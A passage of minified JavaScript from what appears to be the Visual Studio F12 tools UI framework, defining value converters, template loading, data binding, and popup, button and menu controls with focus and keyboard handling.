getThemedImageConverter(){return{convertTo:e=>Microsoft.Plugin.Theme.getValue(e),convertFrom:null}}static getStringToBooleanConverter(){return{convertTo:e=>"true"===e,convertFrom:e=>e?"true":"false"}}static getStringToIntConverter(){return{convertTo:e=>e>>0,convertFrom:e=>e.toString()}}static getIntToStringConverter(){return{convertTo:e=>null!==e&&void 0!==e?e.toString():"",convertFrom:e=>e>>0}}static getIntToStringWithGroupSeperatorConverter(){return{convertTo:t=>null!==t&&void 0!==t?e.FormattingHelpers.getDecimalLocaleString(t,!0):"",convertFrom:e=>{var t=Microsoft.Plugin.Culture.NumberFormat;t&&t.numberGroupSeparator&&(e=e.replace(t.numberGroupSeparator,""));return e>>0}}}static getIntToBooleanConverter(){return{convertTo:e=>!!e,convertFrom:e=>e?1:0}}static invertBoolConverter(){return{convertTo:e=>!e,convertFrom:e=>!e}}static getIsTabbableToTabIndexConverter(){return{convertTo:e=>e?0:-1,convertFrom:null}}static getHtmlTooltipFromResourceConverter(){return{convertTo:e=>JSON.stringify({content:Microsoft.Plugin.Resources.getString(e),contentContainsHTML:!0}),convertFrom:null}}static getJsonHtmlTooltipToInnerTextConverter(){return{convertTo:e=>{t.initializeConverterElement();if(e.match(t.JSONRegex))try{const i=JSON.parse(e);if(i.contentContainsHTML){t.HTMLConverterElement.style.visibility="visible";t.HTMLConverterElement.innerHTML=i.content;const e=t.HTMLConverterElement.innerText;t.HTMLConverterElement.innerHTML="";return e}return i.content}catch(e){}finally{t.HTMLConverterElement.style.visibility="hidden"}return e},convertFrom:null}}static getNotDisabledToTrueConverter(){return{convertTo:e=>2!==e&&null!==e&&void 0!==e,convertFrom:null}}static getNullPermittedConverter(){return{convertTo:e=>e,convertFrom:e=>e}}static getOnToTrueConverter(){return{convertTo:e=>0===e,convertFrom:e=>e?0:1}}static initializeConverterElement(){if(!t.HTMLConverterElement){t.HTMLConverterElement=document.createElement("div");t.HTMLConverterElement.id="CommonConverters_HTMLConverterElement";t.HTMLConverterElement.setAttribute("style","visibility: hidden; position: absolute;");document.body.appendChild(t.HTMLConverterElement)}}}t.JSONRegex=/^\{.*\}$/;e.CommonConverters=t;t.initialize()}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));!function(e){"use strict";class t{constructor(t,i,s){F12.Tools.Utility.Assert.areEqual(typeof t,"function","The given control '"+t+"' ("+typeof t+") doesn't represent a control.");this.controlType=t;this.templateId=i;this.controlFactory=s;this.isTemplateControl=this.controlType===e.TemplateControl||this.controlType.prototype instanceof e.TemplateControl}static createFromString(e){var i;F12.Tools.Utility.Assert.isTrue(!!e,"Invalid control construction string.");var s=e.split(/[()]/,2);if(s&&s.length>0){var n=s[0];n&&(n=n.trim());F12.Tools.Utility.Assert.isTrue(!!n,"Invalid control construction string. The control class name is required.");var o=t.getControlType(n),r=s[1];r&&(r=r.trim());i=new t(o,r)}F12.Tools.Utility.Assert.isTrue(!!i,"Invalid control construction string.");return i}static createFromObject(e){if(e instanceof t)return e;var i=e;F12.Tools.Utility.Assert.areEqual(typeof i,"function","The given control '"+i+"' doesn't represent a control type which implements IControl.");return new t(i)}static createFromStringOrType(e){return"string"==typeof e?t.createFromString(e):t.createFromObject(e)}getNewControl(){return this.isTemplateControl?new this.controlType(this.templateId):("function"!=typeof this.controlType||this.controlFactory)&&this.controlFactory?this.controlFactory():new this.controlType}static getControlType(e){F12.Tools.Utility.Assert.isTrue(!!e,"Invalid control name.");for(var t=window,i=e.split("."),s=0;s<i.length;s++){t=t[i[s]];F12.Tools.Utility.Assert.hasValue(t,"Couldn't find the control with the given name '"+e+"'.")}F12.Tools.Utility.Assert.areEqual(typeof t,"function","The given control '"+e+"' doesn't represent a control type which implements IControl.");return t}}e.ControlConstruction=t}(Common||(Common={}));!function(e){"use strict"}(Common||(Common={}));ControlTemplates||(ControlTemplates={});!function(e){"use strict";class t{constructor(e){F12.Tools.Utility.Assert.hasValue(e,"Invalid template container.");this._container=e;this._registeredTemplates={}}getTemplateString(e){F12.Tools.Utility.Assert.isTrue(!!e,"Invalid template ID.");var t;if(!(t=this._registeredTemplates[e])){for(var i=this._container,s=e.split("."),n=0;n<s.length;n++){i=i[s[n]];F12.Tools.Utility.Assert.isTrue(!!i,"Couldn't find the template with the given ID '"+e+"'.")}t=i}F12.Tools.Utility.Assert.areEqual(typeof t,"string","The given template name doesn't point to a template.");return t}registerTemplateString(e,t){F12.Tools.Utility.Assert.isTrue(!!e,"Invalid template ID.");F12.Tools.Utility.Assert.isUndefined(this._registeredTemplates[e],"Template with id '"+e+"' already registered.");this._registeredTemplates[e]=t}}e.ScriptTemplateRepository=t;e.templateRepository=new t(ControlTemplates)}(Common||(Common={}));!function(e){"use strict";class t{}t.BINDING="data-binding";t.CONTROL="data-control";t.NAME="data-name";t.CONTROL_TEMPLATE_ID=t.CONTROL+"-templateId";t.CONTROL_BINDING="data-controlbinding";t.OPTIONS="data-options";t.TEMPLATE_ID_OPTION=t.OPTIONS+"-templateId";e.TemplateDataAttributes=t}(Common||(Common={}));!function(e){"use strict";class t{constructor(e){F12.Tools.Utility.Assert.hasValue(e,"Invalid template repository.");this._parsingNode=document.createElement("div");this._repository=e;this._templateCache={};this._visitedControls={};this._visitedTemplates={}}get repository(){return this._repository}loadTemplate(e){var t=this._templateCache[e];if(!t){var i=this._repository.getTemplateString(e);F12.Tools.Utility.Assert.isFalse(this._visitedTemplates[e],"Detected a recursive template. TemplateId '"+e+"' is part of the parents hierarchy.");this._visitedTemplates[e]=!0;try{t=this.loadTemplateUsingHtml(i)}finally{this._visitedTemplates[e]=!1}this._templateCache[e]=t}var s=t.cloneNode(!0);return s=this.resolvePlaceholders(s)}loadTemplateUsingHtml(e){this._parsingNode.innerHTML=e;F12.Tools.Utility.Assert.areEqual(this._parsingNode.childElementCount,1,"Template should have only one root element.");var t=this._parsingNode.children[0];this._parsingNode.removeChild(t);for(var i=[t];i.length>0;)for(var s=i.pop(),n=s.childNodes.length-1;n>=0;n--){var o=s.childNodes.item(n);o.nodeType===Node.COMMENT_NODE?s.removeChild(o):o.hasChildNodes()&&i.push(o)}return t}getControlInstance(t,i){F12.Tools.Utility.Assert.isTrue(!!t,"Invalid control name.");var s=e.ControlConstruction.createFromString(t);i&&(s.templateId=i);var n=s.getNewControl();F12.Tools.Utility.Assert.hasValue(n.rootElement,"The given control '"+t+"' doesn't represent a control type which implements IControl.");n.rootElement.control!==n&&(n.rootElement.control=n);return n}resolvePlaceholders(t){if(t.hasAttribute(e.TemplateDataAttributes.CONTROL))t=this.resolvePlaceholder(t);else for(var i=t.querySelectorAll("div["+e.TemplateDataAttributes.CONTROL+"]"),s=i.length,n=0;n<s;n++){var o=i[n];this.resolvePlaceholder(o)}return t}resolvePlaceholder(t){F12.Tools.Utility.Assert.isFalse(t.hasChildNodes(),"Control placeholders cannot have children.");var i=t.getAttribute(e.TemplateDataAttributes.CONTROL),s=t.getAttribute(e.TemplateDataAttributes.CONTROL_TEMPLATE_ID),n=i+(s?","+s:"");F12.Tools.Utility.Assert.isFalse(this._visitedControls[n],"Detected a recursive control. Control '"+n+"' is part of the parents hierarchy.");this._visitedControls[n]=!0;try{var o=this.getControlInstance(i,s)}finally{this._visitedControls[n]=!1}for(var r=o.rootElement,a=0;a<t.attributes.length;a++){var l=t.attributes[a];r.setAttribute(l.name,l.value)}t.parentElement&&t.parentElement.replaceChild(r,t);return r}}e.TemplateLoader=t;e.templateLoader=new t(e.templateRepository)}(Common||(Common={}));!function(e){"use strict";class t extends e.Observable{constructor(e){super();this.onInitializeOverride();this._templateId=e;this.setRootElementFromTemplate()}get model(){return this._model}set model(e){if(this._model!==e){this._model=e;this.onModelChanging();this.propertyChanged.invoke(t.ModelPropertyName);this.onModelChanged()}}get tabIndex(){return this._tabIndex?this._tabIndex:0}set tabIndex(e){if(this._tabIndex!==e){var i=this._tabIndex;this._tabIndex=e>>0;this.propertyChanged.invoke(t.TabIndexPropertyName);this.onTabIndexChanged(i,this._tabIndex)}}get templateId(){return this._templateId}set templateId(e){if(this._templateId!==e){this._templateId=e;this._binding.unbind();this.setRootElementFromTemplate();this.propertyChanged.invoke(t.TemplateIdPropertyName)}}static initialize(){e.ObservableHelpers.defineProperty(t,t.ClassNamePropertyName,null,(e,t,i)=>e.onClassNameChanged(t,i));e.ObservableHelpers.defineProperty(t,t.IsEnabledPropertyName,!0,e=>e.onIsEnabledChanged());e.ObservableHelpers.defineProperty(t,t.IsVisiblePropertyName,!0,e=>e.onIsVisibleChanged());e.ObservableHelpers.defineProperty(t,t.TooltipPropertyName,null,e=>e.onTooltipChanged())}getBinding(e,t){var i;this._binding&&(i=this._binding.findBinding(e,t));return i}onApplyTemplate(){this.onClassNameChanged(null,this.className);this.onIsVisibleChanged();this.onTabIndexChanged(null,this._tabIndex);this.onTooltipChanged()}onInitializeOverride(){}onModelChanged(){}onModelChanging(){}onTemplateChanging(){}getNamedControl(e){var t=this.getNamedElement(e);return t?t.control:null}getNamedElement(t){var i=[];i.push(this.rootElement);for(;i.length>0;){var s=i.pop();if(s.getAttribute(e.TemplateDataAttributes.NAME)===t)return s;if(s.children&&(!s.hasAttribute(e.TemplateDataAttributes.CONTROL)||s===this.rootElement))for(var n=s.children.length,o=0;o<n;o++)i.push(s.children[o])}return null}onIsEnabledChangedOverride(){}onIsVisibleChangedOverride(){}onTabIndexChangedOverride(){}onTooltipChangedOverride(){}onClassNameChanged(e,t){if(this.rootElement){if(e)for(var i=e.split(" "),s=0;s<i.length;s++)this.rootElement.classList.remove(i[s]);if(t){var n=t.split(" ");for(s=0;s<n.length;s++)this.rootElement.classList.add(n[s])}}}onIsEnabledChanged(){if(this.rootElement){if(this.isEnabled){this.rootElement.classList.remove(t.CLASS_DISABLED);this.rootElement.removeAttribute("aria-disabled");this.onTabIndexChanged(this._tabIndex,this._tabIndex)}else{this.rootElement.classList.add(t.CLASS_DISABLED);this.rootElement.setAttribute("aria-disabled","true");this.rootElement.tabIndex=-1}this.onIsEnabledChangedOverride()}}onIsVisibleChanged(){if(this.rootElement){if(this.isVisible){this.rootElement.classList.remove(t.CLASS_HIDDEN);this.rootElement.removeAttribute("aria-hidden");this.onTabIndexChanged(this._tabIndex,this._tabIndex)}else{this.rootElement.classList.add(t.CLASS_HIDDEN);this.rootElement.setAttribute("aria-hidden","true");this.rootElement.tabIndex=-1}this.onIsVisibleChangedOverride()}}onTabIndexChanged(e,t){if(this.rootElement){this.isEnabled&&this.isVisible&&(e||t||0===t)&&(this.rootElement.tabIndex=t);e!==t&&this.onTabIndexChangedOverride()}}onTooltipChanged(){this.rootElement&&this.onTooltipChangedOverride()}setRootElementFromTemplate(){var t;this.onTemplateChanging();if(this.rootElement){t=this.rootElement;this.rootElement.control=null}this._templateId?this.rootElement=e.templateLoader.loadTemplate(this._templateId):this.rootElement=document.createElement("div");if(t){var i=t.attributes.getNamedItem(e.TemplateDataAttributes.NAME);i&&this.rootElement.setAttribute(i.name,i.value)}this.rootElement.control=this;this._binding=new e.TemplateDataBinding(this);t&&t.parentElement&&t.parentElement.replaceChild(this.rootElement,t);this.onApplyTemplate()}}t.CLASS_DISABLED="disabled";t.CLASS_HIDDEN="BPT-hidden";t.ClassNamePropertyName="className";t.IsEnabledPropertyName="isEnabled";t.IsVisiblePropertyName="isVisible";t.ModelPropertyName="model";t.TabIndexPropertyName="tabIndex";t.TemplateIdPropertyName="templateId";t.TooltipPropertyName="tooltip";e.TemplateControl=t;t.initialize()}(Common||(Common={}));!function(e){"use strict";class t{constructor(e){this._bindings=t.bind(e)}findBinding(e,t){var i;if(this._bindings)for(var s=0;s<this._bindings.length;s++){var n=this._bindings[s];if(n.isForDestination(e,t)){i=n;break}}return i}unbind(){if(this._bindings)for(var e=0;e<this._bindings.length;e++)this._bindings[e].unbind();this._bindings=null}static buildBindingCommand(i,s,n,o,r){var a=e.targetAccessViaProperty;if(i===s){if(n.substr(0,t.STYLE_PREFIX.length)===t.STYLE_PREFIX){i=s.style;n=n.substr(t.STYLE_PREFIX.length)}else if(n.substr(0,t.ATTRIBUTE_PREFIX.length)===t.ATTRIBUTE_PREFIX){n=n.substr(t.ATTRIBUTE_PREFIX.length);a=e.targetAccessViaAttribute}else if(n.substr(0,t.CONTROL_PREFIX.length)===t.CONTROL_PREFIX){i=s.control;n=n.substr(t.CONTROL_PREFIX.length)}}else n===e.TemplateControl.ModelPropertyName&&(a=e.targetAccessForModel);if(n.substr(0,t.CLASS_PREFIX.length)===t.CLASS_PREFIX){i=s;n=n.substr(t.CLASS_PREFIX.length);a=e.targetAccessForClass}else n.substr(0,t.EVENT_PREFIX.length)===t.EVENT_PREFIX&&(i[n=n.substr(t.EVENT_PREFIX.length)]instanceof e.EventSource?a=new e.TargetAccessForEventSource:void 0!==(i=s)["on"+n]&&i.addEventListener&&i.removeEventListener?a=new e.TargetAccessForHTMLEvent:F12.Tools.Utility.Assert.fail("Trying to bind an event but the target doesn't seem to carry that event. Event name: "+n));return{target:i,targetAccess:a,targetName:n,source:o,value:r}}static extractBindingCommandsForBinding(e,i,s,n,o){for(var r=n.split(","),a=r.length,l=0;l<a;l++){var h=r[l],d=h.split(":",2);F12.Tools.Utility.Assert.areEqual(d.length,2,"Invalid binding syntax, the keyvalue pair should have the syntax target:source '"+h+"'.");var c=d[0].trim(),u=d[1].trim(),m=t.parseSourceSyntax(u);o||(m.name=t.MODEL_PREFIX+m.name);var p=t.buildBindingCommand(i,s,c,m,null);F12.Tools.Utility.Assert.isTrue(!!p.targetName,"Invalid binding syntax. Target name is missing '"+h+"'.");e.push(p)}}static extractBindingCommandsForOptions(e,i,s,n){for(var o=n.split(","),r=o.length,a=0;a<r;a++){var l=o[a],h=l.split(":",2);F12.Tools.Utility.Assert.areEqual(h.length,2,"Invalid options syntax, the keyvalue pair should have the syntax target:source '"+l+"'.");var d=h[0].trim(),c=h[1].trim(),u=t.parseSourceSyntax(c),m=u.name;u.converter&&u.converter.convertTo&&(m=u.converter.convertTo(m));var p=t.buildBindingCommand(i,s,d,null,m);F12.Tools.Utility.Assert.isTrue(!!p.targetName,"Invalid option syntax. Target name is missing '"+l+"'.");e.push(p)}}static getBindingCommands(i){var s,n=[];n.push(i.rootElement);for(;n.length>0;){var o=n.pop(),r=o.control,a=o;r&&r!==i&&(a=r);if(a){var l;if(l=o.getAttributeNode(e.TemplateDataAttributes.BINDING)){s=s||[];t.extractBindingCommandsForBinding(s,a,o,l.value,!1);o.removeAttributeNode(l)}if(l=o.getAttributeNode(e.TemplateDataAttributes.CONTROL_BINDING)){s=s||[];t.extractBindingCommandsForBinding(s,a,o,l.value,!0);o.removeAttributeNode(l)}if(l=o.getAttributeNode(e.TemplateDataAttributes.OPTIONS)){s=s||[];var h=r||o;t.extractBindingCommandsForOptions(s,h,o,l.value);o.removeAttributeNode(l)}}if(o.children&&(!o.hasAttribute(e.TemplateDataAttributes.CONTROL)||o===i.rootElement))for(var d=o.children.length,c=0;c<d;c++)n.push(o.children[c])}return s}static bind(i){var s,n=t.getBindingCommands(i);if(n){s=[];for(var o=n.length,r=0;r<o;r++){var a=n[r];if(a.source){var l=new e.Binding(i,a.source.name,a.target,a.targetName,a.source.converter,a.source.mode,a.targetAccess);s.push(l)}else void 0!==a.value&&a.targetAccess.setValue(a.target,a.targetName,null,a.value)}}return s&&s.length>0?s:null}static getConverterInstance(e){for(var t=window,i=e.split("."),s=0;s<i.length;s++){t=t[i[s]];F12.Tools.Utility.Assert.hasValue(t,"Couldn't find the converter instance with the given name '"+e+"'.")}F12.Tools.Utility.Assert.hasValue(t.convertFrom||t.convertTo,"The converter instance with the given name '"+e+"' doesn't point to a valid converter instance.");return t}static parseSourceSyntax(e){F12.Tools.Utility.Assert.isTrue(!!e,"Invalid binding syntax.");for(var i=e.split(";"),s={name:i[0].trim()},n=1;n<i.length;n++){var o=i[n].split("=",2);F12.Tools.Utility.Assert.areEqual(o.length,2,"Invalid binding syntax, the keyvalue pair should have the syntax key=value.");switch(o[0].trim().toLowerCase()){case"mode":s.mode=o[1].trim().toLowerCase();break;case"converter":s.converter=t.getConverterInstance(o[1].trim())}}return s}}t.ATTRIBUTE_PREFIX="attr-";t.CLASS_PREFIX="class-";t.CONTROL_PREFIX="control.";t.EVENT_PREFIX="event-";t.MODEL_PREFIX="model.";t.STYLE_PREFIX="style.";e.TemplateDataBinding=t}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e)}static initialize(){e.ObservableHelpers.defineProperty(i,"content",null,(e,t,i)=>e.onContentChanged(t,i))}onInitializeOverride(){super.onInitializeOverride()}onContentChangedOverride(e){}onContentChanged(e,t){this.onContentChangedOverride(e)}}t.ContentControl=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e)}static initialize(){e.ObservableHelpers.defineProperty(i,"targetButtonElement",null,(e,t,i)=>e.onTargetButtonElementChanged(t,i))}onApplyTemplate(){super.onApplyTemplate();this.rootElement&&this.rootElement.classList.add(i.CLASS_POPUP);this.onTargetButtonElementChanged(null,this.targetButtonElement)}onInitializeOverride(){super.onInitializeOverride();this._blurHandler=(e=>this.onBlur(e));this._focusOutHandler=(e=>this.onFocusOut(e));this._keyHandler=(e=>this.onKeyEvent(e));this._mouseHandler=(e=>this.onDocumentMouseHandler(e));this._targetButtonClickHandler=(()=>this.onTargetButtonClick());this._targetButtonKeyHandler=(e=>this.onTargetButtonKeyUp(e));this._windowResizeHandler=(e=>this.onWindowResize(e));this.isVisible=!1}onTemplateChanging(){this.rootElement&&this.rootElement.classList.remove(i.CLASS_POPUP)}onIsVisibleChangedOverride(){super.onIsVisibleChangedOverride();if(this.isVisible){window.setImmediate(()=>{this.rootElement.focus()});this._tabLastPressed=0;if(this.targetButtonElement){this.targetButtonElement.setAttribute("aria-expanded","true");this.disablePopupActiveIndicator||this.targetButtonElement.classList.add(i.CLASS_POPUP_ACTIVE_ONTARGET)}this.setPopupPosition();window.addEventListener("resize",this._windowResizeHandler);document.addEventListener("focusout",this._focusOutHandler,!0);document.addEventListener("mousedown",this._mouseHandler,!0);document.addEventListener("mouseup",this._mouseHandler,!0);document.addEventListener("mousewheel",this._mouseHandler,!0);document.addEventListener("click",this._mouseHandler,!0);this.rootElement.addEventListener("blur",this._blurHandler,!0);this.rootElement.addEventListener("keydown",this._keyHandler);this.rootElement.addEventListener("keyup",this._keyHandler)}else{if(this.targetButtonElement){this.targetButtonElement.setAttribute("aria-expanded","false");this.targetButtonElement.classList.remove(i.CLASS_POPUP_ACTIVE_ONTARGET);this._skipTargetButtonFocus||window.setImmediate(()=>{this.targetButtonElement&&this.targetButtonElement.focus()})}window.removeEventListener("resize",this._windowResizeHandler);document.removeEventListener("focusout",this._focusOutHandler,!0);document.removeEventListener("mousedown",this._mouseHandler,!0);document.removeEventListener("mouseup",this._mouseHandler,!0);document.removeEventListener("mousewheel",this._mouseHandler,!0);document.removeEventListener("click",this._mouseHandler,!0);this.rootElement.removeEventListener("blur",this._blurHandler,!0);this.rootElement.removeEventListener("keydown",this._keyHandler);this.rootElement.removeEventListener("keyup",this._keyHandler)}}onKeyDownOverride(e){return!1}onKeyUpOverride(e){return!1}show(e,t){this.isVisible=!0;if(void 0!==e&&void 0!==t){this.rootElement.style.left=e-this.rootElement.offsetWidth+"px";this.rootElement.style.top=t+"px"}}updatePopupPosition(){this.setPopupPosition()}setPopupPosition(){this.rootElement.style.left="0px";this.rootElement.style.top="0px";if(this.targetButtonElement){for(var e=this.viewportMargin&&this.viewportMargin.top||0,t=window.innerHeight-(this.viewportMargin&&this.viewportMargin.bottom||0),s=this.viewportMargin&&this.viewportMargin.left||0,n=window.innerWidth-(this.viewportMargin&&this.viewportMargin.right||0),o=this.targetButtonElement.getBoundingClientRect(),r=Math.round(o.left),a=Math.round(o.top),l=0,h=0,d=this.rootElement.offsetParent;d;){h+=d.scrollLeft;l+=d.scrollTop;d=d.offsetParent}var c=i.totalOffsetLeft(this.rootElement),u=i.totalOffsetTop(this.rootElement),m=r,p=m+this.rootElement.offsetWidth;if(p>n){var _=r+this.targetButtonElement.offsetWidth,g=_-this.rootElement.offsetWidth;if(g>=s){m=g;p=_}}this.rootElement.style.left=h+m-c+"px";var f=a+this.targetButtonElement.offsetHeight,C=f+this.rootElement.offsetHeight;if(C>t){var v=a,S=v-this.rootElement.offsetHeight;if(S>=e){f=S;C=v}}parseInt(window.getComputedStyle(this.rootElement).borderTopWidth)>0&&parseInt(window.getComputedStyle(this.targetButtonElement).borderBottomWidth)>0&&f--;this.rootElement.style.top=l+f-u+"px"}}static totalOffsetLeft(e){var t=0;do{isNaN(e.offsetLeft)||(t+=e.offsetLeft)}while(e=e.offsetParent);return t}static totalOffsetTop(e){var t=0;do{isNaN(e.offsetTop)||(t+=e.offsetTop)}while(e=e.offsetParent);return t}onBlur(e){this.keepVisibleOnBlur||document.hasFocus()||this._tabLastPressed||this.targetButtonElement&&this.targetButtonElement.contains(e.relatedTarget)||(this.isVisible=!1)}onTargetButtonElementChanged(e,s){if(e){e.removeAttribute("aria-haspopup");e.removeAttribute("aria-owns");e.removeAttribute("aria-expanded");if(this._targetButtonClickEvtReg){this._targetButtonClickEvtReg.unregister();this._targetButtonClickEvtReg=null}e.removeEventListener("click",this._targetButtonClickHandler);e.removeEventListener("keyup",this._targetButtonKeyHandler)}if(s){s.setAttribute("aria-haspopup","true");s.setAttribute("aria-expanded","false");this.rootElement.id||(this.rootElement.id=i.getUniqueID());s.setAttribute("aria-owns",this.rootElement.id);var n=s.control;if(n&&n instanceof t.Button){var o=n;this._targetButtonClickEvtReg=o.click.addHandler(this._targetButtonClickHandler)}else{s.addEventListener("click",this._targetButtonClickHandler);s.addEventListener("keyup",this._targetButtonKeyHandler)}}}onTargetButtonClick(){this.show()}onTargetButtonKeyUp(t){if(t.keyCode===e.KeyCodes.Space||t.keyCode===e.KeyCodes.Enter){this.show();t.preventDefault();t.stopImmediatePropagation()}}onWindowResize(e){this.isVisible=!1}onFocusOut(e){var t=0!==this._tabLastPressed||null!==e.relatedTarget,i=e.relatedTarget!==this.rootElement&&!this.rootElement.contains(e.relatedTarget);if(t&&i)if(0!==this._tabLastPressed){var s=this.rootElement.querySelectorAll("[tabindex]"),n=this.rootElement;if(1===this._tabLastPressed)for(var o=0;o<s.length;o++){if((r=s.item(o)).tabIndex>=0&&r.offsetParent){n=r;break}}else for(o=s.length-1;o>=0;o--){var r;if((r=s.item(o)).tabIndex>=0&&r.offsetParent){n=r;break}}window.setImmediate(()=>{n.focus()})}else if(!this.targetButtonElement||!this.targetButtonElement.contains(e.relatedTarget)){this.isVisible=!1;window.setImmediate(()=>{e.target&&e.target.focus()})}return!1}onDocumentMouseHandler(e){var t=this.rootElement.contains(e.target);if(!t){if(this.targetButtonElement&&this.targetButtonElement.contains(e.target)){"click"===e.type&&this.dismissOnTargetButtonClick&&(this.isVisible=!1);e.stopImmediatePropagation();e.preventDefault()}else{var i=document.elementFromPoint(e.x,e.y);if(!(t=this.rootElement.contains(i))){this._skipTargetButtonFocus=!0;try{this.isVisible=!1}finally{this._skipTargetButtonFocus=!1}}}}}onKeyEvent(t){t.stopImmediatePropagation();e.preventIEKeys(t);this._tabLastPressed=t.keyCode===e.KeyCodes.Tab?t.shiftKey?2:1:0;if("keyup"===t.type){if(!this.onKeyUpOverride(t))switch(t.keyCode){case e.KeyCodes.Escape:this.isVisible=!1}}else"keydown"===t.type&&this.onKeyDownOverride(t);return!1}static getUniqueID(){return"Popup-Control-"+i.CurrentUniqueID++}}i.CLASS_POPUP="BPT-popup";i.CLASS_POPUP_ACTIVE_ONTARGET="BPT-popupActive";i.CurrentUniqueID=0;t.PopupControl=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.ContentControl{constructor(t){super(t||"Common.defaultButtonTemplate");this.click=new e.EventSource}static initialize(){e.ObservableHelpers.defineProperty(i,i.IsPressedPropertyName,!1,(e,t,i)=>e.onIsPressedChanged(t,i))}onInitializeOverride(){super.onInitializeOverride();this._mouseHandler=(e=>this.onMouseEvent(e));this._keyHandler=(e=>this.onKeyboardEvent(e))}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this.rootElement.hasAttribute("role")||this.rootElement.setAttribute("role","button");this.rootElement.addEventListener("click",this._mouseHandler);this.rootElement.addEventListener("mousedown",this._mouseHandler);this.rootElement.addEventListener("mouseup",this._mouseHandler);this.rootElement.addEventListener("mouseleave",this._mouseHandler);this.rootElement.addEventListener("keydown",this._keyHandler);this.rootElement.addEventListener("keyup",this._keyHandler);this.onIsPressedChanged(null,this.isPressed)}}onTemplateChanging(){super.onTemplateChanging();if(this.rootElement){this.rootElement.removeEventListener("click",this._mouseHandler);this.rootElement.removeEventListener("mousedown",this._mouseHandler);this.rootElement.removeEventListener("mouseup",this._mouseHandler);this.rootElement.removeEventListener("mouseleave",this._mouseHandler);this.rootElement.removeEventListener("keydown",this._keyHandler);this.rootElement.removeEventListener("keyup",this._keyHandler)}}onTooltipChangedOverride(){super.onTooltipChangedOverride();if(this.tooltip){this.rootElement.setAttribute("data-plugin-vs-tooltip",this.tooltip);this.rootElement.setAttribute("aria-label",e.CommonConverters.JsonHtmlTooltipToInnerTextConverter.convertTo(this.tooltip))}else{this.rootElement.removeAttribute("data-plugin-vs-tooltip");this.rootElement.removeAttribute("aria-label")}}press(e){this.isEnabled&&this.click.invoke(e)}onKeyboardEventOverride(e){return!1}onIsPressedChanged(e,t){this.rootElement&&(t?this.rootElement.classList.add(i.CLASS_PRESSED):this.rootElement.classList.remove(i.CLASS_PRESSED))}onMouseEvent(e){if(this.isEnabled){var t=!1;switch(e.type){case"click":this.rootElement.focus();this.click.invoke(e);t=!0;break;case"mousedown":this.isPressed=!0;break;case"mouseup":case"mouseleave":this.isPressed=!1;break;default:F12.Tools.Utility.Assert.fail("Unexpected")}if(t){e.stopImmediatePropagation();e.preventDefault()}}}onKeyboardEvent(t){if(this.isEnabled&&!this.onKeyboardEventOverride(t)&&(t.keyCode===e.KeyCodes.Enter||t.keyCode===e.KeyCodes.Space))switch(t.type){case"keydown":this.isPressed=!0;break;case"keyup":if(this.isPressed){this.isPressed=!1;this.click.invoke(t)}break;default:F12.Tools.Utility.Assert.fail("Unexpected")}}}i.CLASS_PRESSED="pressed";i.IsPressedPropertyName="isPressed";t.Button=i;i.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.Button{constructor(e){super(e)}onKeyboardEventOverride(t){let i=!1;if(t.keyCode===e.KeyCodes.ArrowDown&&t.altKey&&!t.ctrlKey)switch(t.type){case"keydown":this.isPressed=!0;i=!0;case"keyup":if(this.isPressed){this.isPressed=!1;this.press()}i=!0}i&&event.preventDefault();return i}}t.DropDownButton=i}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.PopupControl{constructor(e){super(e||"Common.menuControlTemplate");this._menuItemsClickRegistration=[];this._menuItemsPropChangedRegistration=[];this._selectedIndex=-1;this.menuItems=[]}static initialize(){e.ObservableHelpers.defineProperty(i,i.MenuItemsTemplateIdPropertyName,null,(e,t,i)=>e.onMenuTemplateIdChanged(t,i));e.ObservableHelpers.defineProperty(i,i.SelectedItemPropertyName,null,e=>e.onSelectedItemChanged())}addClickHandlerToMenuItem(e,t){var i=this.getNamedElement(e);i&&i.control&&i.control.click.addHandler(t)}onInitializeOverride(){super.onInitializeOverride();this._focusInHandler=(e=>this.onFocusIn(e))}onIsVisibleChangedOverride(){if(this.targetButtonElement&&this.rootElement&&this.isVisible)if(this.isMenuContentsLongerThanButton()){this.targetButtonElement.classList.add(i.CLASS_LONG_MENU);this.rootElement.classList.add(i.CLASS_LONG_MENU)}else{this.targetButtonElement.classList.remove(i.CLASS_LONG_MENU);this.rootElement.classList.remove(i.CLASS_LONG_MENU)}super.onIsVisibleChangedOverride();if(this.isVisible){this.rootElement.addEventListener("focusin",this._focusInHandler);this.selectedItem=null;for(var e=0;e<this.menuItems.length;e++)this.menuItems[e].rootElement.classList.remove(i.CLASS_SELECTED);this.focusFirstItemOnShow&&this.menuItems.length>0&&window.setImmediate(()=>{this.menuItems[0].rootElement.focus()})}else this.rootElement.removeEventListener("focusin",this._focusInHandler)}onKeyUpOverride(t){var i=!1;switch(t.keyCode){case e.KeyCodes.ArrowDown:this.changeSelection(0);i=!0;break;case e.KeyCodes.ArrowUp:this.changeSelection(1);i=!0;break;case e.KeyCodes.Space:case e.KeyCodes.Enter:this.pressSelectedItem();i=!0}i||(i=super.onKeyUpOverride(t));return i}setPopupPosition(){super.setPopupPosition();if(this.isMenuContentsLongerThanButton()){var e=parseInt(window.getComputedStyle(this.rootElement).borderTopWidth),t=parseInt(this.rootElement.style.top.replace(/px/,""));this.rootElement.style.top=t-e+"px"}}onMenuItemClick(){this.dismissOnMenuItemClick&&(this.isVisible=!1)}onMenuItemPropertyChanged(e,t){if(("isChecked"===t||"groupName"===t)&&e.groupName&&e.isChecked)for(var i=0;i<this.menuItems.length;i++){var s=this.menuItems[i];s!==e&&s.groupName===e.groupName&&s.isChecked&&(s.isChecked=!1)}}onMenuTemplateIdChanged(t,i){for(;this._menuItemsPropChangedRegistration.length>0;)this._menuItemsPropChangedRegistration.pop().unregister();for(;this._menuItemsClickRegistration.length>0;)this._menuItemsClickRegistration.pop().unregister();if(i){this.menuItems=[];this.selectedItem=null;this._menuItemsPropChangedRegistration=[];this._menuItemsClickRegistration=[];for(var 